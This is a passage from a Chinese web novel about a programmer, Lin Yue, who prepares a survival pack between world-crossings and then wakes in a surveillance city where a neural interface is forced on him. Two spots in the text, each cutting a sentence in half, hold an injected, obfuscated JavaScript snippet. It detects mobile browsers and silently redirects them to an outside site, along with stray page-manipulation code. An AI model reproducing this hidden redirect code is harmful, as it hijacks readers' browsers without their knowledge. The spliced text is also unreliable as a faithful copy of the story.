他已经死过三次了。 他知道死亡的滋味。 他也知道,想要活下去,光靠谨慎不够,光靠运气不够,光靠道德底线也不够。 他需要信息,需要计划,需要随时做好进入另一个世界的准备。 林越回到卧室,打开衣柜。他找出一个黑色的双肩包,是去年公司团建发的纪念品,质量一般但容量够大。 他坐在床边,开始往里面装东西,每装一样都要思考一下理由——不是随便塞,而是有策略地选择,像一个在准备未知远征的士兵。 充电宝和数据线:现代人的生命线,无论到什么世界,有电就有安全感。他选了那个两万毫安的大容量充电宝,虽然重,但耐用。“希望下一个世界有USB接口,”他自嘲,“没有的话我就把它当板砖用,防身。” 便携式水壶:不锈钢材质,保温效果好。在龙语世界他深刻体会到干净水源的重要性,下次穿越可能没那么好运遇到本地向导。 压缩饼干:他翻箱倒柜找出两包,是上次去爬山买的,过期还有三个月。口感像啃墙皮,但热量高,易保存。“总比饿死强。” 多功能工具刀:有刀、剪刀、开瓶器、螺丝刀等十几种功能。在龙语世界,有把刀能解决很多问题——切食物、防身、甚至当工具用。 急救包:里面是碘伏棉签、创可贴、纱布、止痛药、肠胃药。他特意多放了几片抗生素——在缺乏现代医疗的世界,感染可能比外伤更致命。 手电筒:强光LED,防水防摔。他试了试,光线刺眼。“下次被追杀的时候,可以晃瞎追兵的眼睛,然后大喊‘你闪到我的狗眼了!’趁机逃跑。” 打火机:一次性打火机,他放了三个。在龙语世界生火是个技术活,下次他要带作弊器。 现金:他抽了十张百元大钞,卷起来用橡皮筋扎好。“万一穿越到近现代背景的世界,人民币说不定能用。” 最后是那本刚写完的《轮回记录与生存指南》。他小心地放进去,用塑料袋包好防水。 玉坠也放了进去,用一个小布袋装好,塞在背包最内侧的夹层里。 包不重,大概五六公斤,但装满了生存必需品。他背上试了试,肩带调整合适,不影响活动。 然后他躺上床,闭上眼睛。 睡眠不会马上来,但他需要休息。 因为明天—— 明天可能一切如常,上班、加班、回家,重复过去三百六十五天的生活。 也可能,下一秒他就会再次穿越,进入一个完全陌生的世界,面对未知的规则和死亡陷阱。 而他要做的,就是等待。 并准备好。 在彻底沉入睡眠前,林越最后想的是:如果真的要再次穿越,希望至少让我把明天早上的站会开完再走。 这个念头很荒诞。 但荒诞,正是他现在生活的底色。 17. 清醒等待 早晨七点半的闹钟准时响起。 一段轻快的钢琴曲——某款解谜游戏的背景音乐。林越以前觉得这音乐能唤醒脑子,现在只觉得讽刺:他正在经历的,不就是一场真实到可怕的解谜游戏吗?只不过失败惩罚是死亡,而且没有存档点。 他睁开眼睛,盯着天花板看了三秒。那道熟悉的裂纹还在,从墙角延伸到中央,像地图上的一条河流。 “至少证明这个世界是连续的。”他自嘲,“时间在正常流动,房东还是没修屋顶。” 伸手关掉闹钟。 没有穿越。 没有异常。 没有突然消失的房间,没有陌生的天花板,没有手腕上出现红痕。一切如常,正常得让人不安。 他坐起身,床垫弹簧吱呀作响。第一件事是摸向床头柜。 双肩包还在。触感扎实,分量不轻——昨晚装进去的东西都在。 第二件事是摸口袋。 睡衣没有口袋。他愣了一下,翻身下床,从椅子的裤子里掏出那个小绒布袋。打开,玉坠静静躺在里面,冰凉光滑。 第三件事是看手腕。 皮肤光滑,没有红痕,没有黑痕,没有任何印记。他抬起左手,对着阳光仔细看,甚至用手指用力摩擦皮肤——除了正常的皮肤纹理,什么都没有。 “还在现实世界。”林越低声自语,语气里分辨不出是庆幸还是失望,“新手保护期彻底结束?还是说……这就是终点站?” 他下床,洗漱,换衣服。镜子里的人看起来和昨天没什么不同,除了眼睛底下有黑眼圈——昨晚没睡好,脑子里反复复盘龙语世界的细节,像放电影一样。 但精神意外地清醒。不是睡眠充足的那种清醒,而是过度刺激后的亢奋,像是喝了三杯浓缩咖啡。 那种感觉很奇怪:明明经历了一场超自然的穿越和死亡轮回,现在却要像没事人一样去上班,开站会,写代码,应付产品经理的傻逼需求。 “就像加班到凌晨三点回家,睡了四个小时又要来开早会。”林越对着镜子扯了扯嘴角,“只不过上次加班要钱,这次穿越要命。” 洗漱完毕,他没有立刻出门,而是坐在书桌前,翻开昨晚写的《轮回记录与生存指南》。 笔记本摊开,纸页上密密麻麻的文字: 第一次死亡:语言陷阱,被当北狄奸细,乱葬岗遗弃。 第二次死亡:沉默陷阱,被定不敬之罪,杖毙。 第三次死亡:禁忌陷阱,误说“龙”字,斩首。 第四次轮回:成功通关,救云瑶、解干旱、通水脉。 以及—— 未解谜题清单: 1.黑水组织的目的? 2.包子铺老板的真实身份? 3.云瑶为什么知道“下个世界顺利”? 4.玉坠的秘密? 5.轮回机制是谁设计的? 问题很多,答案一个都没有。 但林越并不焦虑。程序员的工作习惯让他习惯了面对未知:先列出问题,再收集数据,最后分析解决。现在他处于“收集数据”阶段,信息不足是正常的。 他合上笔记本,开始思考更实际的问题: 如果再次穿越,会遇到什么样的世界? 龙语世界是古代社会,核心陷阱是语言、礼法、禁忌。那下一个世界呢? 根据常见的无限流套路,可能是未来世界、末世世界、奇幻世界、科幻世界……什么都有可能。 但林越怀疑,这些世界的选择可能不是随机的。龙语世界有个明显的主题:规则。语言的规则、礼法的规则、社会的规则。你触犯规则,你就死。 那么下一个世界,很可能也围绕着某种“规则”展开。只是规则的内容会变。 “信息。”林越在纸上写下这个词,“我需要更多信息,关于穿越机制,关于其他世界的可能形态。” 他打开电脑,在搜索框输入关键词:“穿越”、“无限流”、“轮回”、“规则怪谈”。 按下回车。页面加载,搜索结果铺天盖地。 他花了半个小时浏览,总结出几个常见模式,顺便吐槽: “系统流……有系统界面、任务列表、商城系统。哦,还有积分,可以换技能换装备。这不错啊,至少有个进度条,知道自己离死还有多远。可惜我没有。” “主神空间流……主神光球,轮回小队,恐怖片世界。还要组队?算了,我连公司团建都不想参加,更别说组队去恐怖片里送死了。” “规则怪谈流……这个有点意思。遵循矛盾规则求生,像在玩文字游戏。不过龙语世界的规则也算‘怪谈’吧?不准说‘龙’字,不准沉默,不准直视上官——这些规则放现实世界也挺怪的。” “死亡轮回流……这个最接近。不断死亡回到起点,寻找破局方法。但我这个好像还高级点,不是单纯的时间循环,是不同世界的轮回。就像不是单机游戏,是大型多人在线……虽然目前玩家好像只有我一个。” 他关掉浏览器,靠在椅背上。 “总结一下:我没有系统,没有主神,没有明确任务,没有队友,没有积分商城,没有技能树。我有的只是……三条命,和一个可能会再次把我扔到陌生世界的不知道什么玩意儿。” 他顿了顿,补充道:“哦,还有一个玉坠,但目前看来除了占地方没什么用。” “真是豪华大礼包啊。” 没有系统,没有主神,没有明确任务,没有队友。他只是被动地穿越,被动地死亡,被动地寻找生存方法。 “被动……”林越皱眉,“太被动了。” 在龙语世界,他前三次轮回都是被规则推着走,直到第四次才主动制定计划、主动解决问题。但这还不够。如果下次穿越到一个完全陌生的世界,他没有时间去慢慢摸索规则——可能刚落地就触犯了某个即死规则。 他需要更快地适应,更快地识别陷阱,更快地找到通关方法。 “需要一套方法论。”他自言自语,打开一个新的文档。 标题:《跨世界生存通用准则(草案)》 然后开始写,像写技术文档一样,每条准则后面还加了括号注释——这是他写代码时的习惯: 第一条:观察优先(别像第一次穿越那样,落地就瞎跑,结果因为口音问题被当奸细。先看看周围有没有摄像头、有没有奇怪标语、有没有人拿着刀对你笑。) 第二条:信息收集(语言、文字、科技水平、社会制度、法律禁忌。就像接新项目要先看需求文档,虽然这个“文档”可能藏在NPC的对话里、墙上的公告上,或者某个倒霉蛋的尸体旁边。) 第三条:身份获取(没有身份的人就像没有权限的访客账号,什么也干不了,还容易被系统清理。尽快搞个合法身份,哪怕是临时工、学徒、流浪汉——有身份总比没身份强。) 第四条:资源储备(食物、水、住所、货币、工具。不要指望系统商城,你没有。也不要指望路边捡到神器,那概率比中彩票还低。自己准备好,像程序员随身带充电宝一样。) 第五条:人际关系(独狼难存活。找个本地人当“向导”,但别完全信任——就像别完全信任产品经理的需求一样。保持距离,互惠互利。) 第六条:风险评估(识别三种风险:立即致命风险(触犯即死)、短期风险(几天内死)、长期风险(几周或几个月后死)。优先级:先别立刻死,再别很快死,最后再考虑怎么活久点。) 第七条:道德底线(不主动害人,但也不做圣母。生存是第一要务,但不要为了生存变成怪物——那样即使活下来,也不再是“自己”了。平衡点:在保证自身安全的前提下,尽量不踩过线。) 第八条:心理调节(接受死亡的可能性,但不要放弃求生。保持黑色幽默,用荒诞解构恐惧,防止精神崩溃。方法:把每次死亡想象成游戏里的bad ending,把NPC想成AI,把规则想成bug——虽然这个bug可能会要你的命。) 林越写完八条准则,仔细看了一遍。 太理论化了。纸上谈兵。 真正面对死亡时,这些准则能起多大作用?他不知道。但他需要这些准则,需要一套思维框架来对抗未知带来的恐惧——就像在黑暗中走路,即使手电筒的光只能照亮前方三米,也比完全摸黑强。 他关掉电脑,看了一眼时间:上午十点。今天是周六,不用上班。 但他有更重要的事情要做——把理论变成实践。 林越背上双肩包,出门。 第一站:户外用品店。 店不大,玻璃橱窗里陈列着帐篷、登山杖、冲锋衣。推门进去,风铃“叮咚”响,店里有一股混合着橡胶、帆布和金属的味道。 店员是个年轻小伙子,穿着店里的T恤,正在整理货架。看到林越,笑着问:“先生需要什么?登山还是露营?” “都要一点。”林越说,目光扫过货架,“可能还会遇到……极端天气,还有野生动物。” “那就是全套装备了。”店员热情地介绍,“帐篷要防暴雨的,睡袋要抗寒的,冲锋衣要防风的。最近山区晚上能到零度以下。” 林越心想:我要面对的可能不是零度,而是零下几百度的未知世界,或者几百度的高温炼狱。但他只是点点头:“好,但我要轻便的,容易携带的。” “那就是超轻系列。”店员从货架上拿下几样东西,“这个帐篷,只有两公斤,防水指数5000mm。这个睡袋,压缩后只有篮球大小,保暖到零下三十度。这个冲锋衣……” “等等。”林越打断他,“我先要些更基础的东西。” 他在货架间走动,目标明确:净水片(一盒,够净化50升水)、能量棒(高热量,易携带,保质期长)、防风打火机(镁合金,防潮)、多功能军刀(十八种功能,包括锯子、钳子)、急救毯(锡箔材质,保温)、便携式过滤器(可直饮河水)。 拿到柜台,堆成一小堆。店员一边扫码一边好奇地问:“买这么多基础装备,是要去登山?还是野外生存训练?” “算是吧。”林越说,“去一个……不太友好的地方。可能没有补给点,没有信号,没有救援。” “那可得小心。”店员好心提醒,把东西装进塑料袋,“最近天气多变,有些路段还不稳定。最好结伴去,一个人危险。要不要买个卫星电话?虽然贵点,但关键时刻能救命。” 林越摇摇头:“不用了。”心想:卫星电话可能没用,因为我要去的可能是另一个世界,那里的“卫星”可能不是用来打电话的。 他付了钱,提着塑料袋出门。风铃又“叮咚”响了一声。 走到街上,他看了看手里的东西,自嘲:“净水片、能量棒、打火机……就差一把瑞士军刀,我就是标准的末日生存爱好者了。不过别人是为了应对丧尸爆发,我是为了应对……世界爆发。” 第二站:书店。 大型连锁书店,三层楼,周末上午人不少。空气里弥漫着油墨和纸张的味道。 林越直奔实用类书架,不是文学,不是小说,不是鸡汤,而是实实在在的生存知识: 《野外生存手册》(图文版,详细讲解取火、净水、搭建庇护所) 《急救知识图解》(心肺复苏、止血包扎、骨折固定) 《全球语言入门》(五十种常用语言的问候语和基础词汇) 《世界宗教简史》(了解主流宗教的禁忌和礼仪) 《基础物理学》(重力、浮力、简单机械原理) 《常见毒物识别》(植物、动物、化学毒物) 他抱着一摞书去结账,沉甸甸的。收银员是个戴眼镜的姑娘,一边扫码一边多看了他两眼。 “要袋子吗?”她问。 “要,大的。”林越说。书太多,手拿不了。 “您这是……要去周游世界?”收银员忍不住问。 “差不多吧。”林越说,“先预习一下。” “那祝您旅途愉快。”收银员把书装进大塑料袋。 林越提着袋子走出书店,心想:旅途愉快?希望吧。只要别一落地就死,就算愉快了。 第三站:超市。 大型仓储超市,周末人山人海,推车碰撞声、小孩哭闹声、促销喇叭声混在一起。 林越推着购物车,在货架间快速穿梭,目标明确: 真空包装的肉类(牛肉干、猪肉脯,高蛋白,耐储存)压缩饼干(军用款,热量高,体积小)巧克力(黑巧克力,快速补充能量)维生素片(综合维生素,预防营养不良)瓶装水(六瓶,先应急) 他拿东西的速度很快,像在完成一项任务。旁边一个大妈好奇地看着他:“小伙子,买这么多,是要去露营?” “对,露营。”林越敷衍道。 “露营好啊,亲近大自然。”大妈热情地说,“我儿子也喜欢露营,不过他每次都带一大堆东西,帐篷、烧烤架、音响……你们年轻人啊,就是会玩。” 林越点点头,推着车快速离开。心想:我这不是去玩,是去玩命。而且玩的是自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119403|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命。 结账时,他特意选了人工通道,避免自助结账的电子记录——虽然可能没什么用,现在到处都是摄像头,但小心点总没错。这是一种心理上的抵抗,虽然微弱,但至少证明他还有选择的意识。 收银员是个中年阿姨,一边扫码一边说:“这么多吃的,要去几天啊?” “不确定。”林越说,“可能几天,可能……更久。” “那得多带点。”阿姨好心地说,“野外天气变化大,注意安全啊。” “谢谢。”林越付了钱,提着两大袋东西走出超市。 下午两点的阳光刺眼,他站在超市门口,看着手里的三个大袋子——户外用品、书、食物。突然觉得有点荒谬。 “别人周末去逛街、看电影、吃火锅。”他自嘲,“我周末在准备应对世界末日,或者世界穿越。这算不算另一种形式的宅?” 下午两点,林越回到家,把买回来的东西摊在客厅地上,开始整理。 背包主仓:书、压缩饼干、真空肉类、水。前袋:急救包、净水片、能量棒、维生素片。侧袋:多功能军刀、防风打火机、手电筒。贴身口袋:玉坠、现金、笔记本。 每样东西都检查一遍:保质期、包装完整性、功能是否正常。 整理完毕,背包更重了,但他背得动。在龙语世界挖了几天井,体力比之前好不少——这算是穿越带来的唯一好处。 他把包放在门口鞋柜旁,随时可以拎起来走。然后坐在沙发上,开始思考一个更根本的问题: 穿越的触发条件是什么? 在龙语世界,他是在加班后回家的路上,拿着关东煮和烤肠,突然就穿越了。没有预兆,没有仪式,没有特殊事件。 那下一次穿越,会在什么时候发生? 随时可能。也可能永远不会。 “等待是最煎熬的。”林越想起以前等测试结果的时候,明知道代码大概率有bug,但又不能提前修改,只能干等。现在也是,他知道穿越可能随时发生,但又不能主动触发,只能被动等待。 但他不喜欢被动。 他需要做一些能主动控制的事情,哪怕只是象征性的。 比如,测试。 林越拿起玉坠,那个小绒布袋。倒出玉坠,温润的白色玉石躺在掌心。 “你到底是什么?”他轻声问。 玉坠当然不会回答。 他尝试用各种方法“激活”玉坠: 对着它说大炎官话:“恰饭”“饮汤”“眠觉”。摩擦,泡水,放在阳光下暴晒。甚至用针扎破指尖,滴血上去——很疼,而且没用。 没有任何反应。 玉坠就是一块玉。在现实世界,它没有特殊功能,没有隐藏属性。 但林越不信。如果它真的只是一块普通的玉,为什么会在龙语世界有特殊反应?为什么云瑶要特意还给他?为什么它从脖子跑到了口袋? “信息不足。”他放下玉坠,“继续观察。” 接下来几个小时,林越做了几件事: 身体检查:详细记录自己身体的每一个变化。除了手变粗糙了,其他似乎都正常。 技能复习:复习在龙语世界学到的技能。大炎官话的发音,礼法的基本规则,挖井的土办法,以及最重要的:死亡的经验。 心理准备:反复告诉自己:下次穿越可能会更危险,可能会死得更快,可能会面对完全无法理解的规则。但不要慌,慌张解决不了问题。 到晚上七点,天黑了。 林越打开灯,坐在书桌前,看着窗外逐渐亮起的万家灯火。 这座城市有上千万人,每个人都在过着自己的生活。没有人知道,他们中间有一个人曾经死过三次,现在正在等待第四次可能的死亡。 这种感觉很孤独。 但林越习惯了孤独。程序员的工作本来就是孤独的:面对屏幕,敲打键盘,解决一个又一个没人理解的技术问题。 只不过现在,他要解决的问题从“为什么这个接口返回500错误”变成了“怎么在下一个世界活下去”。 本质是一样的:分析问题,收集数据,提出假设,验证,修正,再验证。 他打开《轮回记录与生存指南》,在新的一页写下: 关于下次穿越的假设: 1.时间:无法预测,但可能在睡眠或放松警惕时发生。 2.地点:可能在任何地方,做好随时转移的准备。 3.世界类型:未知,但可能围绕某种“规则”展开。 4.初始状态:可能携带现有物品,也可能不携带。做好两手准备。 5.死亡风险:更高。新手保护期已过,可能只有三条命。 写完这些,林越停顿了一下,然后在最后加了一行,用力写下: 最重要的事:保持清醒,保持理性,保持人性。 他合上笔记本,走到窗边。 夜色中的城市依旧繁华,车流如织,霓虹闪烁。 一切都那么正常,正常得让人怀疑龙语世界是不是真的只是一场梦。 但林越知道不是。 他的手还在疼——不是伤口疼,是肌肉记忆的疼。挖井时磨出的茧子已经软化,但那种反复摩擦的感觉还留在神经末梢里。 他的脑子里还记着大炎官话的发音。 他的笔记本上还记录着四次轮回的每一个细节。 这些都是证据。 真实存在的证据。 林越转身走回卧室。把双肩包放在床边触手可及的地方。玉坠塞进贴身口袋。手机充上电。窗户检查一遍是否锁好。 然后他躺上床,闭上眼睛。 呼吸平稳,心跳正常。 没有恐惧,没有焦虑,只有一种近乎冷酷的平静。 他已经死过三次了。 他知道死亡是什么滋味:痛到无法感觉到疼痛,冰冷而绝望,然后黑暗,什么都不再存在。 他也知道活下来是什么感觉:又疼又累,但值得。 所以如果再次穿越,他会面对。如果再次死亡,他会承受。如果还有机会活下来,他会抓住。 就这么简单。 窗外传来远处酒吧的音乐声,年轻人的笑声,汽车驶过的呼啸。 而林越躺在床上,等待着。 等待下一次可能永远不会到来的穿越。 或者,等待下一秒就会降临的未知。 但他不慌。 因为打包好应急包的人,不会慌。 18. 数字孤岛 黑暗。 然后,震动。 林越猛地睁开眼睛——看到的不是卧室天花板,而是一片冷白色的光。他躺在一张金属长椅上,四周是光滑的金属墙壁。 空气中有消毒水和臭氧的味道。 “穿越了。”这个念头直接跳进脑子,“龙语世界是新手教程,现在正式服开了。” 他坐起身,低头看手腕。 三道淡红色的痕迹,均匀地环绕着左手腕。 “三条命。”林越低声说,语气平静,“清晰明了,童叟无欺。比那些藏着掖着的职场潜规则强多了。” 他站起来,观察房间。大约二十平米,没有窗户,唯一的家具是长椅和对面的显示屏。角落里,一个摄像头缓缓转动,红色指示灯像独眼巨人的瞳孔。 “监控摄像头。”林越喃喃自语,“而且是最新型的,360度无死角。公司办公室里装满了这玩意儿,美其名曰‘提升工作效率’,实则是为了监视员工有没有在摸鱼。但眼前这个……更简洁,更隐蔽,更精密。实验世界?监控世界?” 他走向显示屏。屏幕感应到他的靠近,“嗡”地一声亮起: 【公民ID:未注册。数字身份:缺失。网络接入权限:0。社会信用评分:0。】 【警告:检测到非法离线状态。根据《全域网络安全法》第7条第3款,持续离线超过72小时将触发‘数字遗民’警报。】 【建议:立即前往最近的公民服务中心进行身份注册和数据接入。】 冰冷的机械女声同时在房间里响起,也在他脑子里响起——直接传入意识。 林越皱眉,伸手触摸屏幕。画面切换: 【欢迎来到新长安城。您是今日第147位新抵达者。请完成以下步骤以获取合法公民身份:】 【1. 生物信息采集(指纹、虹膜、DNA序列)】 【2. 神经接口配对(用于接入城市数据网络)】 【3. 社会角色选择(根据您的技能评估匹配就业岗位)】 【4. 信用账户开通(初始额度:1000数字信用点)】 【注意:拒绝注册或提供虚假信息将视为违法行为,最高可判处永久数字监禁。】 林越盯着“神经接口配对”,眉头皱得更紧了。 “直接接入大脑?”他想起刚才那些直接涌入意识的数据流,“这玩意儿一旦装上,岂不是连脑子里想什么都能被监控?刚想到‘今晚吃什么’,全城的餐厅广告就铺天盖地砸过来;稍微有点不满情绪,心理疏导热线就自动拨通;要是敢琢磨点不该琢磨的……” “比公司监控还狠。”他扯了扯嘴角,“至少996还有下班时间,这里可是24小时全天候服务,连梦话都可能被分析。” 他没得选。在龙语世界学到的第一课:不要硬刚规则,除非你已经找到了漏洞。 他点击“同意条款”。墙壁无声滑开,露出后面的通道。通道两旁排列着更多的摄像头,红色指示灯像两排沉默的卫兵。 林越走进去,脚步声在通道里回荡。 通道尽头是一个更大的房间,像医疗中心。一个穿着白色制服的工作人员站在机器旁,脸上挂着标准的职业微笑——标准到像是用模具刻出来的。 “请躺到扫描床上。”工作人员的声音没有起伏,“生物信息采集将在三分钟内完成。” 林越照做了。机器启动,蓝光从他头顶扫到脚底。皮肤表面有轻微的刺痛感。 【指纹采集完成。】 【虹膜扫描完成。】 【DNA序列提取中……提取完成。】 然后,一行红色的文字跳出来: 【警告:检测到异常生物标记。DNA序列中存在未登记的特殊蛋白质结构,疑似异常数据扰动残留。建议进行进一步分析。】 林越的心跳漏了一拍。 异常数据扰动残留?是发现我来自别的世界了么?还是龙语世界的影响吗?云瑶那个世界的力量,会不会在他身上留下了印记? 工作人员的表情没有任何变化,仿佛那条警告信息根本不存在。 “异常标记已记录,不影响公民身份注册。”他说,“现在进行神经接口配对。请放松,可能会有轻微不适。” “轻微不适”这个词,让林越警惕起来。在医疗语境里,“轻微不适”往往意味着“会很痛但我们会说这是正常的”。 一根细长的金属探针从机器侧面伸出,精准地移动到他的后颈位置。 然后—— 刺痛。探针在缓缓推进,他能感觉到金属穿透皮肤、肌肉、筋膜,最后抵在颈椎骨上。某种冰凉的液体被注射进去,沿着脊椎向上蔓延。 【神经接口植入中……10%……50%……100%。】 进度条在屏幕上跳动,伴随着每一次心跳,痛感也一次次加强。林越咬紧牙关,额头渗出冷汗。 他能感觉到有某种东西正顺着探针注入体内,像是一串数据,一串代码,沿着神经系统蔓延,渗透到每一个神经元。 “这感觉……”他咬牙忍着痛,“就像给大脑安装了一个强制更新的操作系统,还不能拒绝。更新内容:隐私条款全部同意,数据收集全部开启,后台监控全部运行。用户协议?哦,你没得选。” 他想起以前公司强制安装的监控软件,美其名曰“安全防护”,实则是为了监视员工。但那个软件至少还能想办法绕过,或者下班后关掉。这个神经接口……是直接装在脑子里的,24小时在线,永久运行。 “很好。”他在心里自嘲,“以前是996,现在是247——24小时,7天,全年无休。而且这次是真的‘用脑工作’。” 终于,探针缓缓退出。后颈留下一个微小的创口,有点麻,有点痒。 【配对完成。欢迎接入新长安城数据网络。】 刹那间,世界变了。 他的视野边缘出现了半透明的数据浮窗:左边是时间、温度、空气质量;右边是个人信息栏:【临时公民-林越】【信用点:1000】【社会信用评分:0】。 更可怕的是,当他看向那个工作人员时,视野中央自动弹出了详细的个人信息面板: 【姓名:李铭(编号:CT-7429)】 【职务:公民服务中心三级专员】 【今日工作时长:4小时17分钟】 【情绪状态:平稳】 【社会信用评分:687(良好)】 【健康状况:BMI 22.3,血压 118/76】 【昨夜睡眠时长:6.2小时(质量:中等)】 【今早摄入:合成咖啡(热量35卡)】 【近期医疗记录:轻度颈椎病(建议增加颈部运动),季节性过敏(已服药控制)】 ——连睡觉都要被评分。吃什么都要被记录。生病都要被分析。 林越突然有点同情李铭。这个工作人员,每天在这里接待新抵达者,脸上挂着标准的微笑,说着标准的话,做着标准的事。他的生活被完全数据化,完全透明化,完全……可控化。 “至少他知道自己是被监控的。”林越想,“而在这个城市里,可能所有人都习惯了。就像鱼习惯了水,鸟习惯了天空,社畜习惯了加班——虽然不情愿,但这就是生活。” 他关闭了李铭的信息面板。视野恢复清爽,但那种被数据包围的感觉还在。 这已经不是隐私泄露了——这是把一个人扒光了放在橱窗里展览,还贴上了详细的商品标签:生产日期(出生年月)、保质期(预计寿命)、成分表(DNA序列)、使用说明(性格倾向)。而你作为“消费者”,可以随意浏览,随意评判,随意……利用。 更可怕的是,这种信息暴露是单向的。他能看到李铭的一切,但李铭看不到他的——至少现在看不到。这种不对称的权力关系,让人不安。 “所以在这个世界,”林越在心里吐槽,“人与人之间的信任就是:我知道你的一切,但你不一定知道我的一切。这比龙语世界还直接,那里至少还要通过言行举止来判断,这里直接数据化,连你昨晚做了什么梦都能查到。” 李铭递过来一个巴掌大小的金属设备。 “这是您的个人终端,集成了身份证明、支付、通讯、数据查询等功能。请妥善保管,遗失需要支付500信用点补办费。” 林越接过终端。终端自动唤醒,全息投影在空气中展开操作界面。 【设备绑定中……绑定完成。欢迎使用,临时公民林越。】 “现在进行社会角色选择。”李铭在控制面板上操作,林越的全息界面上也同步显示职业列表: 【数据清洗员(初级):日薪80信用点,工作时长10小时/天。】 【网络巡逻员(见习):日薪75信用点,工作时长12小时/天。】 【信息筛选师(学徒):日薪90信用点,工作时长8小时/天。】 都是和数据打交道的工作,薪水低得可怜。 林越的视线停在“信息筛选师”上。这个岗位的工作时长最短,日薪却最高——说明对技能要求更高。而且“信息筛选”这个能力,正是他在监控世界最需要的。 “我选信息筛选师。”他说。 李铭点点头,在屏幕上确认选择。 【岗位分配完成。雇主:‘深网数据工坊’。入职时间:明日8:00。工作地点:第七区数据塔,B座17层。】 【临时公民身份已激活。有效期:30天。30天内需通过社会贡献评估,方可转为正式公民。】 【初始信用点已发放:1000点。当前余额:1000点。】 信息涌入脑海,林越强迫自己集中注意力,只记住最关键的部分:明天早上八点,第七区数据塔。 “注册流程已完成。”李铭说,“您可以选择在公民服务中心的临时宿舍居住,每晚收费50信用点;或者自行寻找住所。请注意,离线状态超过72小时将触发警报,建议保持网络接入。” “我住宿舍。”林越毫不犹豫。他现在对这个世界一无所知,贸然出去乱逛等于找死。 李铭带他穿过另一条通道,来到宿舍区。房间很小,只有一张床、一张桌子、一个卫生间。墙壁上挂着显示屏,正播放着新长安城的宣传片: “在新长安,每个人的数据都得到最安全的保护!我们的加密技术达到军用级别,绝对不用担心隐私泄露!” 画面上,一个笑容灿烂的家庭正在公园里野餐。 “同时,数据共享让生活更便捷!系统会自动分析您的偏好,推荐最适合的商品和服务,节省您宝贵的时间!” 镜头切换到超市,一个女士刚拿起一包合成肉,旁边的广告屏就弹出烹饪教程。 林越面无表情地看着。 保护隐私?数据共享?这两个词根本是矛盾的。要么你保护隐私,那数据就不能共享;要么你共享数据,那隐私就是个笑话。 而这个世界选择了后者——不,是强制。神经接口是强制植入的,数据接入是强制要求的,离线是会被惩罚的。 宣传片还在继续吹嘘,但他已经懒得听了。他走到床边坐下,打开个人终端,点开地图。 新长安城的全息模型在眼前展开,缓慢旋转。那是一座巨大的立体城市,建筑像积木一样层层堆叠,空中轨道穿梭其间,数据流如血管般在网络中流动。 他放大第七区的地图,找到了数据塔。那是一座细高的建筑,像一根银色的针直插天空。 他的目光突然停在一个不起眼的图标上。 那是一个黑色的水滴形状,标注是“黑水酒吧”。 黑水。 林越的手指僵住了。 在龙语世界,“黑水”是一个神秘组织,专门掳走年轻女子,目的未知。王千户的悬赏令上,那个和他有三分相似的通缉犯,就是黑水成员。 而现在,在新长安城,也有一个叫“黑水”的地方。 是巧合吗? 他点开黑水酒吧的详细信息: 【名称:黑水酒吧】 【类型:娱乐场所】 【营业时间:18:00-次日6:00】 【特色:提供未经加工的真实酒精饮料、数据交易、匿名交流服务】 【注意事项:本场所监控覆盖率低于城市标准(约60%),请顾客注意个人安全。】 “数据交易”、“匿名交流”、“监控覆盖率低”…… 这些词组合在一起,让林越嗅到了危险的气息,也嗅到了机会。 在全面监控的社会里,一个监控盲区意味着什么?意味着你可以说一些不该说的话,做一些不该做的事,见一些不该见的人。 但也意味着,那里聚集着这座城市最不想被看见的人。 龙语世界的“黑水”是一个神秘组织,专门掳走年轻女子,目的未知。成员有悬赏令上的通缉犯(和他三分相似),有黄壤屯捉拿的贼人,可能还有那个用疑似龙语文字记账的包子铺老板。 而这个世界的“黑水酒吧” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119404|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,提供匿名交流、数据交易,监控覆盖率低于城市标准。 两者有什么关联? 可能性一:纯属巧合。不同世界独立发展,只是名字雷同。 可能性二:“黑水”是某种跨世界组织或概念,在不同世界以不同形式存在。就像“龙”在不同文化中有不同象征意义。 可能性三:林越的穿越不是完全随机的,这些世界之间存在某种联系。黑水是线索之一。 “信息不足。”林越在心里说,“但至少这是一个方向。一个监控社会的灰色地带,一个可能获取信息的地方,一个……危险的地方。” 他想起《跨世界生存通用准则》第五条:人际关系——建立至少一个可靠的本地联系。 黑水酒吧显然不是“可靠”的联系,但可能是“有用”的联系。就像在代码里调用一个第三方库,你不知道它有没有bug,但你需要它的功能。 问题是怎么接触。直接去?太莽撞。先观察?怎么观察?他连这个城市的基本规则都还没摸清。 “先工作吧。”他对自己说,“明天去深网数据工坊,先了解这个世界的数据运作方式。信息筛选师……听起来就是整天看数据的工作。也许能看到一些有趣的东西。” 他关掉地图,但把黑水酒吧的位置记在心里。第七区,离数据塔不远,营业时间18:00-次日6:00。监控覆盖率约60%,主要出入口。 “60%的监控覆盖率,在这个城市已经算低了。”林越想,“就像在满布摄像头的办公室里,有一个角落摄像头坏了——那个角落就会聚集所有想摸鱼的人。” 而他现在,就是一个想“摸鱼”的人——摸一些不被允许的信息,一些关于这个世界的真相,一些关于穿越的线索。 他看了一眼墙上的显示屏,宣传片已经播完了,现在正在滚动播放新闻: 【今日快讯:第七区发生一起数据盗窃案,三名黑客入侵企业服务器,盗取客户隐私信息。警方已锁定嫌疑人,预计24小时内抓捕归案。】 